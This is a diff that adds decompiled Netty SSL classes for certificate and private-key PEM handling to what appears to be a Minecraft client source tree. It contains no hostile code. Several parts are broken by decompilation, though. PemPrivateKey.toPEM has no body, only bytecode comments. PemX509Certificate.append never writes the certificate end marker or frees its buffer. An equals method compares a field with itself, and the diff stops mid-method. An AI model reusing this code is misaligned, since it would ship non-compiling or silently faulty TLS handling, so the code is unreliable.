+final class OpenSslX509Certificate
+  extends X509Certificate
+{
+  private final byte[] bytes;
+  private X509Certificate wrapped;
+  
+  public OpenSslX509Certificate(byte[] bytes)
+  {
+    this.bytes = bytes;
+  }
+  
+  public void checkValidity() throws CertificateExpiredException, CertificateNotYetValidException
+  {
+    unwrap().checkValidity();
+  }
+  
+  public void checkValidity(Date date) throws CertificateExpiredException, CertificateNotYetValidException
+  {
+    unwrap().checkValidity(date);
+  }
+  
+  public int getVersion()
+  {
+    return unwrap().getVersion();
+  }
+  
+  public BigInteger getSerialNumber()
+  {
+    return unwrap().getSerialNumber();
+  }
+  
+  public Principal getIssuerDN()
+  {
+    return unwrap().getIssuerDN();
+  }
+  
+  public Principal getSubjectDN()
+  {
+    return unwrap().getSubjectDN();
+  }
+  
+  public Date getNotBefore()
+  {
+    return unwrap().getNotBefore();
+  }
+  
+  public Date getNotAfter()
+  {
+    return unwrap().getNotAfter();
+  }
+  
+  public byte[] getTBSCertificate() throws CertificateEncodingException
+  {
+    return unwrap().getTBSCertificate();
+  }
+  
+  public byte[] getSignature()
+  {
+    return unwrap().getSignature();
+  }
+  
+  public String getSigAlgName()
+  {
+    return unwrap().getSigAlgName();
+  }
+  
+  public String getSigAlgOID()
+  {
+    return unwrap().getSigAlgOID();
+  }
+  
+  public byte[] getSigAlgParams()
+  {
+    return unwrap().getSigAlgParams();
+  }
+  
+  public boolean[] getIssuerUniqueID()
+  {
+    return unwrap().getIssuerUniqueID();
+  }
+  
+  public boolean[] getSubjectUniqueID()
+  {
+    return unwrap().getSubjectUniqueID();
+  }
+  
+  public boolean[] getKeyUsage()
+  {
+    return unwrap().getKeyUsage();
+  }
+  
+  public int getBasicConstraints()
+  {
+    return unwrap().getBasicConstraints();
+  }
+  
+  public byte[] getEncoded()
+  {
+    return (byte[])bytes.clone();
+  }
+  
+
+  public void verify(PublicKey key)
+    throws CertificateException, NoSuchAlgorithmException, InvalidKeyException, NoSuchProviderException, SignatureException
+  {
+    unwrap().verify(key);
+  }
+  
+
+  public void verify(PublicKey key, String sigProvider)
+    throws CertificateException, NoSuchAlgorithmException, InvalidKeyException, NoSuchProviderException, SignatureException
+  {
+    unwrap().verify(key, sigProvider);
+  }
+  
+  public String toString()
+  {
+    return unwrap().toString();
+  }
+  
+  public PublicKey getPublicKey()
+  {
+    return unwrap().getPublicKey();
+  }
+  
+  public boolean hasUnsupportedCriticalExtension()
+  {
+    return unwrap().hasUnsupportedCriticalExtension();
+  }
+  
+  public Set<String> getCriticalExtensionOIDs()
+  {
+    return unwrap().getCriticalExtensionOIDs();
+  }
+  
+  public Set<String> getNonCriticalExtensionOIDs()
+  {
+    return unwrap().getNonCriticalExtensionOIDs();
+  }
+  
+  public byte[] getExtensionValue(String oid)
+  {
+    return unwrap().getExtensionValue(oid);
+  }
+  
+  private X509Certificate unwrap() {
+    X509Certificate wrapped = this.wrapped;
+    if (wrapped == null) {
+      try {
+        wrapped = this.wrapped = (X509Certificate)SslContext.X509_CERT_FACTORY.generateCertificate(new ByteArrayInputStream(bytes));
+      }
+      catch (CertificateException e) {
+        throw new IllegalStateException(e);
+      }
+    }
+    return wrapped;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/PemEncoded.java b/src/minecraft/io/netty/handler/ssl/PemEncoded.java
new file mode 100644
index 0000000..021e0ca
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/PemEncoded.java
@@ -0,0 +1,26 @@
+package io.netty.handler.ssl;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufHolder;
+
+abstract interface PemEncoded
+  extends ByteBufHolder
+{
+  public abstract boolean isSensitive();
+  
+  public abstract PemEncoded copy();
+  
+  public abstract PemEncoded duplicate();
+  
+  public abstract PemEncoded retainedDuplicate();
+  
+  public abstract PemEncoded replace(ByteBuf paramByteBuf);
+  
+  public abstract PemEncoded retain();
+  
+  public abstract PemEncoded retain(int paramInt);
+  
+  public abstract PemEncoded touch();
+  
+  public abstract PemEncoded touch(Object paramObject);
+}
diff --git a/src/minecraft/io/netty/handler/ssl/PemPrivateKey.java b/src/minecraft/io/netty/handler/ssl/PemPrivateKey.java
new file mode 100644
index 0000000..bf4241a
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/PemPrivateKey.java
@@ -0,0 +1,307 @@
+package io.netty.handler.ssl;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.util.AbstractReferenceCounted;
+import io.netty.util.CharsetUtil;
+import io.netty.util.IllegalReferenceCountException;
+import io.netty.util.internal.ObjectUtil;
+import java.security.PrivateKey;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class PemPrivateKey
+  extends AbstractReferenceCounted
+  implements PrivateKey, PemEncoded
+{
+  private static final byte[] BEGIN_PRIVATE_KEY = "-----BEGIN PRIVATE KEY-----\n".getBytes(CharsetUtil.US_ASCII);
+  private static final byte[] END_PRIVATE_KEY = "\n-----END PRIVATE KEY-----\n".getBytes(CharsetUtil.US_ASCII);
+  private static final String PKCS8_FORMAT = "PKCS#8";
+  private final ByteBuf content;
+  
+  /* Error */
+  static PemEncoded toPEM(io.netty.buffer.ByteBufAllocator allocator, boolean useDirect, PrivateKey key)
+  {
+    // Byte code:
+    //   0: aload_2
+    //   1: instanceof 1
+    //   4: ifeq +13 -> 17
+    //   7: aload_2
+    //   8: checkcast 1	io/netty/handler/ssl/PemEncoded
+    //   11: invokeinterface 2 1 0
+    //   16: areturn
+    //   17: aload_2
+    //   18: invokeinterface 3 1 0
+    //   23: invokestatic 4	io/netty/buffer/Unpooled:wrappedBuffer	([B)Lio/netty/buffer/ByteBuf;
+    //   26: astore_3
+    //   27: aload_0
+    //   28: aload_3
+    //   29: invokestatic 5	io/netty/handler/ssl/SslUtils:toBase64	(Lio/netty/buffer/ByteBufAllocator;Lio/netty/buffer/ByteBuf;)Lio/netty/buffer/ByteBuf;
+    //   32: astore 4
+    //   34: getstatic 6	io/netty/handler/ssl/PemPrivateKey:BEGIN_PRIVATE_KEY	[B
+    //   37: arraylength
+    //   38: aload 4
+    //   40: invokevirtual 7	io/netty/buffer/ByteBuf:readableBytes	()I
+    //   43: iadd
+    //   44: getstatic 8	io/netty/handler/ssl/PemPrivateKey:END_PRIVATE_KEY	[B
+    //   47: arraylength
+    //   48: iadd
+    //   49: istore 5
+    //   51: iconst_0
+    //   52: istore 6
+    //   54: iload_1
+    //   55: ifeq +14 -> 69
+    //   58: aload_0
+    //   59: iload 5
+    //   61: invokeinterface 9 2 0
+    //   66: goto +11 -> 77
+    //   69: aload_0
+    //   70: iload 5
+    //   72: invokeinterface 10 2 0
+    //   77: astore 7
+    //   79: aload 7
+    //   81: getstatic 6	io/netty/handler/ssl/PemPrivateKey:BEGIN_PRIVATE_KEY	[B
+    //   84: invokevirtual 11	io/netty/buffer/ByteBuf:writeBytes	([B)Lio/netty/buffer/ByteBuf;
+    //   87: pop
+    //   88: aload 7
+    //   90: aload 4
+    //   92: invokevirtual 12	io/netty/buffer/ByteBuf:writeBytes	(Lio/netty/buffer/ByteBuf;)Lio/netty/buffer/ByteBuf;
+    //   95: pop
+    //   96: aload 7
+    //   98: getstatic 8	io/netty/handler/ssl/PemPrivateKey:END_PRIVATE_KEY	[B
+    //   101: invokevirtual 11	io/netty/buffer/ByteBuf:writeBytes	([B)Lio/netty/buffer/ByteBuf;
+    //   104: pop
+    //   105: new 13	io/netty/handler/ssl/PemValue
+    //   108: dup
+    //   109: aload 7
+    //   111: iconst_1
+    //   112: invokespecial 14	io/netty/handler/ssl/PemValue:<init>	(Lio/netty/buffer/ByteBuf;Z)V
+    //   115: astore 8
+    //   117: iconst_1
+    //   118: istore 6
+    //   120: aload 8
+    //   122: astore 9
+    //   124: iload 6
+    //   126: ifne +8 -> 134
+    //   129: aload 7
+    //   131: invokestatic 15	io/netty/handler/ssl/SslUtils:zerooutAndRelease	(Lio/netty/buffer/ByteBuf;)V
+    //   134: aload 4
+    //   136: invokestatic 15	io/netty/handler/ssl/SslUtils:zerooutAndRelease	(Lio/netty/buffer/ByteBuf;)V
+    //   139: aload_3
+    //   140: invokestatic 15	io/netty/handler/ssl/SslUtils:zerooutAndRelease	(Lio/netty/buffer/ByteBuf;)V
+    //   143: aload 9
+    //   145: areturn
+    //   146: astore 10
+    //   148: iload 6
+    //   150: ifne +8 -> 158
+    //   153: aload 7
+    //   155: invokestatic 15	io/netty/handler/ssl/SslUtils:zerooutAndRelease	(Lio/netty/buffer/ByteBuf;)V
+    //   158: aload 10
+    //   160: athrow
+    //   161: astore 11
+    //   163: aload 4
+    //   165: invokestatic 15	io/netty/handler/ssl/SslUtils:zerooutAndRelease	(Lio/netty/buffer/ByteBuf;)V
+    //   168: aload 11
+    //   170: athrow
+    //   171: astore 12
+    //   173: aload_3
+    //   174: invokestatic 15	io/netty/handler/ssl/SslUtils:zerooutAndRelease	(Lio/netty/buffer/ByteBuf;)V
+    //   177: aload 12
+    //   179: athrow
+    // Line number table:
+    //   Java source line #58	-> byte code offset #0
+    //   Java source line #59	-> byte code offset #7
+    //   Java source line #62	-> byte code offset #17
+    //   Java source line #64	-> byte code offset #27
+    //   Java source line #66	-> byte code offset #34
+    //   Java source line #68	-> byte code offset #51
+    //   Java source line #69	-> byte code offset #54
+    //   Java source line #71	-> byte code offset #79
+    //   Java source line #72	-> byte code offset #88
+    //   Java source line #73	-> byte code offset #96
+    //   Java source line #75	-> byte code offset #105
+    //   Java source line #76	-> byte code offset #117
+    //   Java source line #77	-> byte code offset #120
+    //   Java source line #80	-> byte code offset #124
+    //   Java source line #81	-> byte code offset #129
+    //   Java source line #85	-> byte code offset #134
+    //   Java source line #88	-> byte code offset #139
+    //   Java source line #80	-> byte code offset #146
+    //   Java source line #81	-> byte code offset #153
+    //   Java source line #85	-> byte code offset #161
+    //   Java source line #88	-> byte code offset #171
+    // Local variable table:
+    //   start	length	slot	name	signature
+    //   0	180	0	allocator	io.netty.buffer.ByteBufAllocator
+    //   0	180	1	useDirect	boolean
+    //   0	180	2	key	PrivateKey
+    //   26	148	3	encoded	ByteBuf
+    //   32	132	4	base64	ByteBuf
+    //   49	22	5	size	int
+    //   52	97	6	success	boolean
+    //   77	77	7	pem	ByteBuf
+    //   115	6	8	value	PemValue
+    //   122	22	9	localPemValue1	PemValue
+    //   146	13	10	localObject1	Object
+    //   161	8	11	localObject2	Object
+    //   171	7	12	localObject3	Object
+    // Exception table:
+    //   from	to	target	type
+    //   79	124	146	finally
+    //   146	148	146	finally
+    //   34	134	161	finally
+    //   146	163	161	finally
+    //   27	139	171	finally
+    //   146	173	171	finally
+  }
+  
+  public static PemPrivateKey valueOf(byte[] key)
+  {
+    return valueOf(Unpooled.wrappedBuffer(key));
+  }
+  
+
+
+
+
+
+  public static PemPrivateKey valueOf(ByteBuf key)
+  {
+    return new PemPrivateKey(key);
+  }
+  
+
+  private PemPrivateKey(ByteBuf content)
+  {
+    this.content = ((ByteBuf)ObjectUtil.checkNotNull(content, "content"));
+  }
+  
+  public boolean isSensitive()
+  {
+    return true;
+  }
+  
+  public ByteBuf content()
+  {
+    int count = refCnt();
+    if (count <= 0) {
+      throw new IllegalReferenceCountException(count);
+    }
+    
+    return content;
+  }
+  
+  public PemPrivateKey copy()
+  {
+    return replace(content.copy());
+  }
+  
+  public PemPrivateKey duplicate()
+  {
+    return replace(content.duplicate());
+  }
+  
+  public PemPrivateKey retainedDuplicate()
+  {
+    return replace(content.retainedDuplicate());
+  }
+  
+  public PemPrivateKey replace(ByteBuf content)
+  {
+    return new PemPrivateKey(content);
+  }
+  
+  public PemPrivateKey touch()
+  {
+    content.touch();
+    return this;
+  }
+  
+  public PemPrivateKey touch(Object hint)
+  {
+    content.touch(hint);
+    return this;
+  }
+  
+  public PemPrivateKey retain()
+  {
+    return (PemPrivateKey)super.retain();
+  }
+  
+  public PemPrivateKey retain(int increment)
+  {
+    return (PemPrivateKey)super.retain(increment);
+  }
+  
+
+
+  protected void deallocate()
+  {
+    SslUtils.zerooutAndRelease(content);
+  }
+  
+  public byte[] getEncoded()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public String getAlgorithm()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public String getFormat()
+  {
+    return "PKCS#8";
+  }
+  
+
+
+
+
+
+
+  public void destroy()
+  {
+    release(refCnt());
+  }
+  
+
+
+
+
+
+
+  public boolean isDestroyed()
+  {
+    return refCnt() == 0;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/PemReader.java b/src/minecraft/io/netty/handler/ssl/PemReader.java
new file mode 100644
index 0000000..82115c4
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/PemReader.java
@@ -0,0 +1,144 @@
+package io.netty.handler.ssl;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.handler.codec.base64.Base64;
+import io.netty.util.CharsetUtil;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.nio.charset.Charset;
+import java.security.KeyException;
+import java.security.cert.CertificateException;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class PemReader
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(PemReader.class);
+  
+  private static final Pattern CERT_PATTERN = Pattern.compile("-+BEGIN\\s+.*CERTIFICATE[^-]*-+(?:\\s|\\r|\\n)+([a-z0-9+/=\\r\\n]+)-+END\\s+.*CERTIFICATE[^-]*-+", 2);
+  
+
+
+
+  private static final Pattern KEY_PATTERN = Pattern.compile("-+BEGIN\\s+.*PRIVATE\\s+KEY[^-]*-+(?:\\s|\\r|\\n)+([a-z0-9+/=\\r\\n]+)-+END\\s+.*PRIVATE\\s+KEY[^-]*-+", 2);
+  
+
+  static ByteBuf[] readCertificates(File file)
+    throws CertificateException
+  {
+    String content;
+    try
+    {
+      content = readContent(file);
+    } catch (IOException e) {
+      throw new CertificateException("failed to read a file: " + file, e);
+    }
+    
+    List<ByteBuf> certs = new ArrayList();
+    Matcher m = CERT_PATTERN.matcher(content);
+    int start = 0;
+    
+    while (m.find(start))
+    {
+
+
+      ByteBuf base64 = Unpooled.copiedBuffer(m.group(1), CharsetUtil.US_ASCII);
+      ByteBuf der = Base64.decode(base64);
+      base64.release();
+      certs.add(der);
+      
+      start = m.end();
+    }
+    
+    if (certs.isEmpty()) {
+      throw new CertificateException("found no certificates: " + file);
+    }
+    
+    return (ByteBuf[])certs.toArray(new ByteBuf[certs.size()]);
+  }
+  
+  static ByteBuf readPrivateKey(File file) throws KeyException {
+    String content;
+    try {
+      content = readContent(file);
+    } catch (IOException e) {
+      throw new KeyException("failed to read a file: " + file, e);
+    }
+    
+    Matcher m = KEY_PATTERN.matcher(content);
+    if (!m.find()) {
+      throw new KeyException("found no private key: " + file);
+    }
+    
+    ByteBuf base64 = Unpooled.copiedBuffer(m.group(1), CharsetUtil.US_ASCII);
+    ByteBuf der = Base64.decode(base64);
+    base64.release();
+    return der;
+  }
+  
+  private static String readContent(File file) throws IOException {
+    InputStream in = new FileInputStream(file);
+    ByteArrayOutputStream out = new ByteArrayOutputStream();
+    try {
+      byte[] buf = new byte[' '];
+      int ret;
+      for (;;) { ret = in.read(buf);
+        if (ret < 0) {
+          break;
+        }
+        out.write(buf, 0, ret);
+      }
+      return out.toString(CharsetUtil.US_ASCII.name());
+    } finally {
+      safeClose(in);
+      safeClose(out);
+    }
+  }
+  
+  private static void safeClose(InputStream in) {
+    try {
+      in.close();
+    } catch (IOException e) {
+      logger.warn("Failed to close a stream.", e);
+    }
+  }
+  
+  private static void safeClose(OutputStream out) {
+    try {
+      out.close();
+    } catch (IOException e) {
+      logger.warn("Failed to close a stream.", e);
+    }
+  }
+  
+  private PemReader() {}
+}
diff --git a/src/minecraft/io/netty/handler/ssl/PemValue.java b/src/minecraft/io/netty/handler/ssl/PemValue.java
new file mode 100644
index 0000000..9bd48eb
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/PemValue.java
@@ -0,0 +1,105 @@
+package io.netty.handler.ssl;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.util.AbstractReferenceCounted;
+import io.netty.util.IllegalReferenceCountException;
+import io.netty.util.internal.ObjectUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class PemValue
+  extends AbstractReferenceCounted
+  implements PemEncoded
+{
+  private final ByteBuf content;
+  private final boolean sensitive;
+  
+  public PemValue(ByteBuf content, boolean sensitive)
+  {
+    this.content = ((ByteBuf)ObjectUtil.checkNotNull(content, "content"));
+    this.sensitive = sensitive;
+  }
+  
+  public boolean isSensitive()
+  {
+    return sensitive;
+  }
+  
+  public ByteBuf content()
+  {
+    int count = refCnt();
+    if (count <= 0) {
+      throw new IllegalReferenceCountException(count);
+    }
+    
+    return content;
+  }
+  
+  public PemValue copy()
+  {
+    return replace(content.copy());
+  }
+  
+  public PemValue duplicate()
+  {
+    return replace(content.duplicate());
+  }
+  
+  public PemValue retainedDuplicate()
+  {
+    return replace(content.retainedDuplicate());
+  }
+  
+  public PemValue replace(ByteBuf content)
+  {
+    return new PemValue(content, sensitive);
+  }
+  
+  public PemValue touch()
+  {
+    return (PemValue)super.touch();
+  }
+  
+  public PemValue touch(Object hint)
+  {
+    content.touch(hint);
+    return this;
+  }
+  
+  public PemValue retain()
+  {
+    return (PemValue)super.retain();
+  }
+  
+  public PemValue retain(int increment)
+  {
+    return (PemValue)super.retain(increment);
+  }
+  
+  protected void deallocate()
+  {
+    if (sensitive) {
+      SslUtils.zeroout(content);
+    }
+    content.release();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/PemX509Certificate.java b/src/minecraft/io/netty/handler/ssl/PemX509Certificate.java
new file mode 100644
index 0000000..dd947a3
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/PemX509Certificate.java
@@ -0,0 +1,402 @@
+package io.netty.handler.ssl;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.buffer.Unpooled;
+import io.netty.util.CharsetUtil;
+import io.netty.util.IllegalReferenceCountException;
+import io.netty.util.internal.ObjectUtil;
+import java.math.BigInteger;
+import java.security.Principal;
+import java.security.PublicKey;
+import java.security.cert.CertificateEncodingException;
+import java.security.cert.X509Certificate;
+import java.util.Arrays;
+import java.util.Date;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class PemX509Certificate
+  extends X509Certificate
+  implements PemEncoded
+{
+  private static final byte[] BEGIN_CERT = "-----BEGIN CERTIFICATE-----\n".getBytes(CharsetUtil.US_ASCII);
+  private static final byte[] END_CERT = "\n-----END CERTIFICATE-----\n".getBytes(CharsetUtil.US_ASCII);
+  
+  private final ByteBuf content;
+  
+
+  static PemEncoded toPEM(ByteBufAllocator allocator, boolean useDirect, X509Certificate... chain)
+    throws CertificateEncodingException
+  {
+    if ((chain == null) || (chain.length == 0)) {
+      throw new IllegalArgumentException("X.509 certificate chain can't be null or empty");
+    }
+    
+
+
+
+
+
+    if (chain.length == 1) {
+      X509Certificate first = chain[0];
+      if ((first instanceof PemEncoded)) {
+        return ((PemEncoded)first).retain();
+      }
+    }
+    
+    boolean success = false;
+    ByteBuf pem = null;
+    try {
+      for (X509Certificate cert : chain)
+      {
+        if (cert == null) {
+          throw new IllegalArgumentException("Null element in chain: " + Arrays.toString(chain));
+        }
+        
+        if ((cert instanceof PemEncoded)) {
+          pem = append(allocator, useDirect, (PemEncoded)cert, chain.length, pem);
+        } else {
+          pem = append(allocator, useDirect, cert, chain.length, pem);
+        }
+      }
+      
+      PemValue value = new PemValue(pem, false);
+      success = true;
+      return value;
+    }
+    finally {
+      if ((!success) && (pem != null)) {
+        pem.release();
+      }
+    }
+  }
+  
+
+
+
+
+
+  private static ByteBuf append(ByteBufAllocator allocator, boolean useDirect, PemEncoded encoded, int count, ByteBuf pem)
+  {
+    ByteBuf content = encoded.content();
+    
+    if (pem == null)
+    {
+      pem = newBuffer(allocator, useDirect, content.readableBytes() * count);
+    }
+    
+    pem.writeBytes(content.slice());
+    return pem;
+  }
+  
+
+
+
+
+  private static ByteBuf append(ByteBufAllocator allocator, boolean useDirect, X509Certificate cert, int count, ByteBuf pem)
+    throws CertificateEncodingException
+  {
+    ByteBuf encoded = Unpooled.wrappedBuffer(cert.getEncoded());
+    try {
+      ByteBuf base64 = SslUtils.toBase64(allocator, encoded);
+      try {
+        if (pem == null)
+        {
+
+
+          pem = newBuffer(allocator, useDirect, (BEGIN_CERT.length + base64.readableBytes() + END_CERT.length) * count);
+        }
+        
+
+        pem.writeBytes(BEGIN_CERT);
+        pem.writeBytes(base64);
+      }
+      finally {}
+    }
+    finally
+    {
+      encoded.release();
+    }
+    
+    return pem;
+  }
+  
+  private static ByteBuf newBuffer(ByteBufAllocator allocator, boolean useDirect, int initialCapacity) {
+    return useDirect ? allocator.directBuffer(initialCapacity) : allocator.buffer(initialCapacity);
+  }
+  
+
+
+
+
+
+  public static PemX509Certificate valueOf(byte[] key)
+  {
+    return valueOf(Unpooled.wrappedBuffer(key));
+  }
+  
+
+
+
+
+
+  public static PemX509Certificate valueOf(ByteBuf key)
+  {
+    return new PemX509Certificate(key);
+  }
+  
+
+  private PemX509Certificate(ByteBuf content)
+  {
+    this.content = ((ByteBuf)ObjectUtil.checkNotNull(content, "content"));
+  }
+  
+
+  public boolean isSensitive()
+  {
+    return false;
+  }
+  
+  public int refCnt()
+  {
+    return content.refCnt();
+  }
+  
+  public ByteBuf content()
+  {
+    int count = refCnt();
+    if (count <= 0) {
+      throw new IllegalReferenceCountException(count);
+    }
+    
+    return content;
+  }
+  
+  public PemX509Certificate copy()
+  {
+    return replace(content.copy());
+  }
+  
+  public PemX509Certificate duplicate()
+  {
+    return replace(content.duplicate());
+  }
+  
+  public PemX509Certificate retainedDuplicate()
+  {
+    return replace(content.retainedDuplicate());
+  }
+  
+  public PemX509Certificate replace(ByteBuf content)
+  {
+    return new PemX509Certificate(content);
+  }
+  
+  public PemX509Certificate retain()
+  {
+    content.retain();
+    return this;
+  }
+  
+  public PemX509Certificate retain(int increment)
+  {
+    content.retain(increment);
+    return this;
+  }
+  
+  public PemX509Certificate touch()
+  {
+    content.touch();
+    return this;
+  }
+  
+  public PemX509Certificate touch(Object hint)
+  {
+    content.touch(hint);
+    return this;
+  }
+  
+  public boolean release()
+  {
+    return content.release();
+  }
+  
+  public boolean release(int decrement)
+  {
+    return content.release(decrement);
+  }
+  
+  public byte[] getEncoded()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public boolean hasUnsupportedCriticalExtension()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public Set<String> getCriticalExtensionOIDs()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public Set<String> getNonCriticalExtensionOIDs()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public byte[] getExtensionValue(String oid)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public void checkValidity()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public void checkValidity(Date date)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public int getVersion()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public BigInteger getSerialNumber()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public Principal getIssuerDN()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public Principal getSubjectDN()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public Date getNotBefore()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public Date getNotAfter()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public byte[] getTBSCertificate()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public byte[] getSignature()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public String getSigAlgName()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public String getSigAlgOID()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public byte[] getSigAlgParams()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public boolean[] getIssuerUniqueID()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public boolean[] getSubjectUniqueID()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public boolean[] getKeyUsage()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public int getBasicConstraints()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public void verify(PublicKey key)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public void verify(PublicKey key, String sigProvider)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public PublicKey getPublicKey()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public boolean equals(Object o)
+  {
+    if (o == this)
+      return true;
+    if (!(o instanceof PemX509Certificate)) {
+      return false;
+    }
+    
+    PemX509Certificate other = (PemX509Certificate)o;
+    return content.equals(content);
+  }
+  
+  public int hashCode()
+  {
+    return content.hashCode();
+  }
+  
+  public String toString()
+  {
+    return content.toString(CharsetUtil.UTF_8);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/ReferenceCountedOpenSslClientContext.java b/src/minecraft/io/netty/handler/ssl/ReferenceCountedOpenSslClientContext.java
new file mode 100644
index 0000000..db23392
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/ReferenceCountedOpenSslClientContext.java
@@ -0,0 +1,299 @@
+package io.netty.handler.ssl;
+
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.security.KeyStore;
+import java.security.PrivateKey;
+import java.security.cert.X509Certificate;
+import java.util.HashSet;
+import java.util.Set;
+import javax.net.ssl.KeyManagerFactory;
+import javax.net.ssl.SSLException;
+import javax.net.ssl.SSLHandshakeException;
+import javax.net.ssl.TrustManagerFactory;
+import javax.net.ssl.X509ExtendedKeyManager;
+import javax.net.ssl.X509ExtendedTrustManager;
+import javax.net.ssl.X509KeyManager;
+import javax.net.ssl.X509TrustManager;
+import javax.security.auth.x500.X500Principal;
+import org.apache.tomcat.jni.CertificateRequestedCallback;
+import org.apache.tomcat.jni.CertificateRequestedCallback.KeyMaterial;
+import org.apache.tomcat.jni.SSLContext;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ReferenceCountedOpenSslClientContext
+  extends ReferenceCountedOpenSslContext
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(ReferenceCountedOpenSslClientContext.class);
+  
+
+  private final OpenSslSessionContext sessionContext;
+  
+
+
+  ReferenceCountedOpenSslClientContext(X509Certificate[] trustCertCollection, TrustManagerFactory trustManagerFactory, X509Certificate[] keyCertChain, PrivateKey key, String keyPassword, KeyManagerFactory keyManagerFactory, Iterable<String> ciphers, CipherSuiteFilter cipherFilter, ApplicationProtocolConfig apn, long sessionCacheSize, long sessionTimeout)
+    throws SSLException
+  {
+    super(ciphers, cipherFilter, apn, sessionCacheSize, sessionTimeout, 0, keyCertChain, ClientAuth.NONE, false, true);
+    
+    boolean success = false;
+    try {
+      sessionContext = newSessionContext(this, ctx, engineMap, trustCertCollection, trustManagerFactory, keyCertChain, key, keyPassword, keyManagerFactory);
+      
+      success = true;
+    } finally {
+      if (!success) {
+        release();
+      }
+    }
+  }
+  
+  OpenSslKeyMaterialManager keyMaterialManager()
+  {
+    return null;
+  }
+  
+  public OpenSslSessionContext sessionContext()
+  {
+    return sessionContext;
+  }
+  
+
+
+
+  static OpenSslSessionContext newSessionContext(ReferenceCountedOpenSslContext thiz, long ctx, OpenSslEngineMap engineMap, X509Certificate[] trustCertCollection, TrustManagerFactory trustManagerFactory, X509Certificate[] keyCertChain, PrivateKey key, String keyPassword, KeyManagerFactory keyManagerFactory)
+    throws SSLException
+  {
+    if (((key == null) && (keyCertChain != null)) || ((key != null) && (keyCertChain == null))) {
+      throw new IllegalArgumentException("Either both keyCertChain and key needs to be null or none of them");
+    }
+    
+    synchronized (ReferenceCountedOpenSslContext.class) {
+      try {
+        if (!OpenSsl.useKeyManagerFactory()) {
+          if (keyManagerFactory != null) {
+            throw new IllegalArgumentException("KeyManagerFactory not supported");
+          }
+          
+          if (keyCertChain != null) {
+            setKeyMaterial(ctx, keyCertChain, key, keyPassword);
+          }
+        }
+        else {
+          if ((keyManagerFactory == null) && (keyCertChain != null)) {
+            keyManagerFactory = buildKeyManagerFactory(keyCertChain, key, keyPassword, keyManagerFactory);
+          }
+          
+
+          if (keyManagerFactory != null) {
+            X509KeyManager keyManager = chooseX509KeyManager(keyManagerFactory.getKeyManagers());
+            OpenSslKeyMaterialManager materialManager = useExtendedKeyManager(keyManager) ? new OpenSslExtendedKeyMaterialManager((X509ExtendedKeyManager)keyManager, keyPassword) : new OpenSslKeyMaterialManager(keyManager, keyPassword);
+            
+
+
+            SSLContext.setCertRequestedCallback(ctx, new OpenSslCertificateRequestedCallback(engineMap, materialManager));
+          }
+        }
+      }
+      catch (Exception e) {
+        throw new SSLException("failed to set certificate and key", e);
+      }
+      
+      SSLContext.setVerify(ctx, 0, 10);
+      try
+      {
+        if (trustCertCollection != null) {
+          trustManagerFactory = buildTrustManagerFactory(trustCertCollection, trustManagerFactory);
+        } else if (trustManagerFactory == null) {
